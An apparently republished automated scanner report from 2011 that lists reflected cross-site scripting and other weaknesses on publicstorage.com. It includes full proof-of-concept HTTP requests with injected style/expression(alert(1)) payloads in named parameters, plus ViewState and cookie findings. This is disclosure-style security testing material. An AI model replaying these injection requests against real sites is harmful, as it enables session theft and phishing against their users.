publicstoreage.com, XSS, CWE-79, CAPEC-86

Cross Site Scripting in publicstorage.com | Vulnerability Crawler Report

Report generated by XSS.CX at Sun Jan 02 07:51:32 CST 2011.


Contents

Loading

1. Cross-site scripting (reflected)

1.1. http://www.publicstorage.com/locations/Tampa-FL-storage.aspx [REST URL parameter 1]

1.2. http://www.publicstorage.com/locations/Tampa-FL-storage.aspx [name of an arbitrarily supplied request parameter]

1.3. http://www.publicstorage.com/locations/Tampa-FL-storage.aspx [pid parameter]

1.4. http://www.publicstorage.com/locations/Tampa-FL-storage.aspx [s_kwcid parameter]

2. ASP.NET ViewState without MAC enabled

3. Cross-domain Referer leakage

4. Cross-domain script include

5. Cookie without HttpOnly flag set

6. Robots.txt file

7. HTML does not specify charset



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.publicstorage.com/locations/Tampa-FL-storage.aspx [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.publicstorage.com
Path:   /locations/Tampa-FL-storage.aspx

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a4a95'%20a%3db%206242aef3606 was submitted in the REST URL parameter 1. This input was echoed as a4a95' a=b 6242aef3606 in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /locationsa4a95'%20a%3db%206242aef3606/Tampa-FL-storage.aspx HTTP/1.1
Host: www.publicstorage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Sun, 02 Jan 2011 13:41:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=torgrn45b1ka3045glnfsorg; path=/; HttpOnly
Set-Cookie: VisitorID=1898600859; expires=Wed, 02-Feb-2011 13:41:36 GMT; path=/
Set-Cookie: CultureInfo=en-US; expires=Wed, 02-Feb-2011 13:41:36 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 19755


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><meta
...[SNIP]...
<input type="hidden" name="hdnSessionLandingPage" value='http://www.publicstorage.com/storage-error.aspx?aspxerrorpath=/locationsa4a95' a=b 6242aef3606/Tampa-FL-storage.aspx' />
...[SNIP]...

1.2. http://www.publicstorage.com/locations/Tampa-FL-storage.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.publicstorage.com
Path:   /locations/Tampa-FL-storage.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 84f4c'style%3d'x%3aexpression(alert(1))'eafb5d04452 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 84f4c'style='x:expression(alert(1))'eafb5d04452 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /locations/Tampa-FL-storage.aspx?84f4c'style%3d'x%3aexpression(alert(1))'eafb5d04452=1 HTTP/1.1
Host: www.publicstorage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 02 Jan 2011 13:41:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=vqy2sh45uz2apxbb5ild0145; path=/; HttpOnly
Set-Cookie: VisitorID=1106681594; expires=Wed, 02-Feb-2011 13:41:23 GMT; path=/
Set-Cookie: CultureInfo=en-US; expires=Wed, 02-Feb-2011 13:41:23 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38423


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><meta http-e
...[SNIP]...
<input type="hidden" name="hdnSessionLandingPage" value='http://www.publicstorage.com/storage-search-landing.aspx?location=Tampa,FL&84f4c'style='x:expression(alert(1))'eafb5d04452=1' />
...[SNIP]...

1.3. http://www.publicstorage.com/locations/Tampa-FL-storage.aspx [pid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.publicstorage.com
Path:   /locations/Tampa-FL-storage.aspx

Issue detail

The value of the pid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8af4b'style%3d'x%3aexpression(alert(1))'a729150c1ed was submitted in the pid parameter. This input was echoed as 8af4b'style='x:expression(alert(1))'a729150c1ed in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /locations/Tampa-FL-storage.aspx?pid=wphelpsgoogle8af4b'style%3d'x%3aexpression(alert(1))'a729150c1ed&s_kwcid=TC|14794|storage||S|p|5301274454/x22 HTTP/1.1
Host: www.publicstorage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 02 Jan 2011 13:41:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=csqj13jatusit555s1podx45; path=/; HttpOnly
Set-Cookie: PID=wphelpsgoogle8af4b'style='x:expression(alert(1))'a729150c1ed; path=/
Set-Cookie: VisitorID=1413609069; expires=Wed, 02-Feb-2011 13:41:24 GMT; path=/
Set-Cookie: CultureInfo=en-US; expires=Wed, 02-Feb-2011 13:41:24 GMT; path=/
Set-Cookie: PID=wphelpsgoogle8af4b'style='x:expression(alert(1))'a729150c1ed; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38706


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><meta http-e
...[SNIP]...
<input type="hidden" name="hdnSessionLandingPage" value='http://www.publicstorage.com/storage-search-landing.aspx?location=Tampa,FL&pid=wphelpsgoogle8af4b'style='x:expression(alert(1))'a729150c1ed&s_kwcid=TC|14794|storage||S|p|5301274454/x22' />
...[SNIP]...

1.4. http://www.publicstorage.com/locations/Tampa-FL-storage.aspx [s_kwcid parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.publicstorage.com
Path:   /locations/Tampa-FL-storage.aspx

Issue detail

The value of the s_kwcid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ce7ea'style%3d'x%3aexpression(alert(1))'db5126993f4 was submitted in the s_kwcid parameter. This input was echoed as ce7ea'style='x:expression(alert(1))'db5126993f4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /locations/Tampa-FL-storage.aspx?pid=wphelpsgoogle&s_kwcid=TC|14794|storage||S|p|5301274454/x22ce7ea'style%3d'x%3aexpression(alert(1))'db5126993f4 HTTP/1.1
Host: www.publicstorage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 02 Jan 2011 13:41:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=dzsaao45jyejvz45yohsuer2; path=/; HttpOnly
Set-Cookie: PID=wphelpsgoogle; path=/
Set-Cookie: VisitorID=1755773521; expires=Wed, 02-Feb-2011 13:41:35 GMT; path=/
Set-Cookie: CultureInfo=en-US; expires=Wed, 02-Feb-2011 13:41:35 GMT; path=/
Set-Cookie: PID=wphelpsgoogle; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38706


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><meta http-e
...[SNIP]...
<input type="hidden" name="hdnSessionLandingPage" value='http://www.publicstorage.com/storage-search-landing.aspx?location=Tampa,FL&pid=wphelpsgoogle&s_kwcid=TC|14794|storage||S|p|5301274454/x22ce7ea'style='x:expression(alert(1))'db5126993f4' />
...[SNIP]...

2. ASP.NET ViewState without MAC enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.publicstorage.com
Path:   /locations/Tampa-FL-storage.aspx

Issue description

The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.

By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.

You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.

Issue remediation

There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.

Request

GET /locations/Tampa-FL-storage.aspx HTTP/1.1
Host: www.publicstorage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 02 Jan 2011 13:41:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=tshaya55lbguci55fap3fuyi; path=/; HttpOnly
Set-Cookie: VisitorID=1075796167; expires=Wed, 02-Feb-2011 13:41:06 GMT; path=/
Set-Cookie: CultureInfo=en-US; expires=Wed, 02-Feb-2011 13:41:06 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38315


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><meta http-e
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTE2OTI0Njg1MA9kFgJmD2QWBAIBD2QWBAICDxYCHgdjb250ZW50BYsBVGFtcGEgRkwgc3RvcmFnZSwgVGFtcGEgRkwgc2VsZiBzdG9yYWdlLCBUYW1wYSBGTCBzdG9yYWdlIGZhY2lsaXR5LCBUYW1wYSBGTCBzdG9yYWdlIHVuaXRzLCBUYW1wYSBGTCBtb3Zpbmcgc3VwcGxpZXMsIFRhbXBhIEZMIFRydWNrIFJlbnRhbGQCAw8WAh8ABdkBUHVibGljIFN0b3JhZ2UgVGFtcGEgRkwgc3RvcmFnZSB1bml0cyBhbmQgZmFjaWxpdGllcy4gUHVibGljIFN0b3JhZ2UgaGFzIHNlbGYgc3RvcmFnZSBmYWNpbGl0aWVzIGluIFRhbXBhIEZMLiBTYXZlIHdpdGggb3VyIHNwZWNpYWwgVGFtcGEgRkwgc3RvcmFnZSBwcm9tb3Rpb24gdGhhdCBvZmZlcnMgeW91ciBmaXJzdCBtb250aCdzIHN0b3JhZ2UgcmVudGFsIGZvciBqdXN0ICQxLmQCAw9kFgZmDxYCHgRUZXh0BRYsJ3BhZ2U9U3RvcmFnZV9TZWFyY2gnZAIDD2QWAmYPFgIfAQU+PGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IlRhbXBhLEZMIiBpZD0icmV3cml0ZV9sb2NhdGlvbiIgLz5kAgYPDxYCHgdWaXNpYmxlaGQWBGYPFgIeC18hSXRlbUNvdW50ZmQCAQ8WAh8DZmRk" />
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.publicstorage.com
Path:   /locations/Tampa-FL-storage.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /locations/Tampa-FL-storage.aspx?pid=wphelpsgoogle&s_kwcid=TC|14794|storage||S|p|5301274454/x22 HTTP/1.1
Host: www.publicstorage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 02 Jan 2011 13:41:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=mh41yq55x51feqqxq2dy4245; path=/; HttpOnly
Set-Cookie: PID=wphelpsgoogle; path=/
Set-Cookie: VisitorID=1106226830; expires=Wed, 02-Feb-2011 13:41:07 GMT; path=/
Set-Cookie: CultureInfo=en-US; expires=Wed, 02-Feb-2011 13:41:07 GMT; path=/
Set-Cookie: PID=wphelpsgoogle; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38608


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><meta http-e
...[SNIP]...
</a> <a href="http://www.publicstoragejobs.com"
onclick="window.open(this.href,'newwin'); return false;">
Careers</a>
...[SNIP]...
<div id="main">


<script src="https://maps-api-ssl.google.com/maps?file=api&v=2&client=gme-publicstorage&sensor=false" type="text/javascript"></script>
...[SNIP]...
<noscript>
<iframe src="http://fls.doubleclick.net/activityi;src=2587221;type=retar612;cat=publi260;ord=1;num=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...
<li><a href="http://www.shurgard.co.uk/" onclick="window.open(this.href,'newwin'); return false;">United Kingdom Storage</a>
...[SNIP]...
<li><a href="http://www.publicstoragejobs.com/" onclick="window.open(this.href,'newwin'); return false;">Storage Careers</a>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.publicstorage.com
Path:   /locations/Tampa-FL-storage.aspx

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /locations/Tampa-FL-storage.aspx HTTP/1.1
Host: www.publicstorage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 02 Jan 2011 13:41:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=tshaya55lbguci55fap3fuyi; path=/; HttpOnly
Set-Cookie: VisitorID=1075796167; expires=Wed, 02-Feb-2011 13:41:06 GMT; path=/
Set-Cookie: CultureInfo=en-US; expires=Wed, 02-Feb-2011 13:41:06 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38315


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><meta http-e
...[SNIP]...
<div id="main">


<script src="https://maps-api-ssl.google.com/maps?file=api&v=2&client=gme-publicstorage&sensor=false" type="text/javascript"></script>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.publicstorage.com
Path:   /locations/Tampa-FL-storage.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /locations/Tampa-FL-storage.aspx?pid=wphelpsgoogle&s_kwcid=TC|14794|storage||S|p|5301274454/x22 HTTP/1.1
Host: www.publicstorage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 02 Jan 2011 13:41:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=mh41yq55x51feqqxq2dy4245; path=/; HttpOnly
Set-Cookie: PID=wphelpsgoogle; path=/
Set-Cookie: VisitorID=1106226830; expires=Wed, 02-Feb-2011 13:41:07 GMT; path=/
Set-Cookie: CultureInfo=en-US; expires=Wed, 02-Feb-2011 13:41:07 GMT; path=/
Set-Cookie: PID=wphelpsgoogle; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38608


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><meta http-e
...[SNIP]...

6. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.publicstorage.com
Path:   /locations/Tampa-FL-storage.aspx

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.publicstorage.com

Response

HTTP/1.1 200 OK
Content-Length: 234
Content-Type: text/plain
Last-Modified: Fri, 13 Aug 2010 01:35:14 GMT
Accept-Ranges: bytes
ETag: "035c5c6873acb1:118e"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sun, 02 Jan 2011 13:41:08 GMT
Connection: close

User-agent: *
Disallow: /storage-search-landing1.aspx
Disallow: /storage-search-landing2.aspx
Disallow: /storage-search-landing3.aspx
Disallow: /storage-locations2.aspx
Disallow: /index2.aspx
Al
...[SNIP]...

7. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.publicstorage.com
Path:   /x22

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /x22 HTTP/1.1
Host: www.publicstorage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Content-Length: 103
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sun, 02 Jan 2011 13:41:08 GMT
Connection: close

<html><head><title>Error</title></head><body>The system cannot find the file specified.
</body></html>

Report generated by XSS.CX at Sun Jan 02 07:51:32 CST 2011.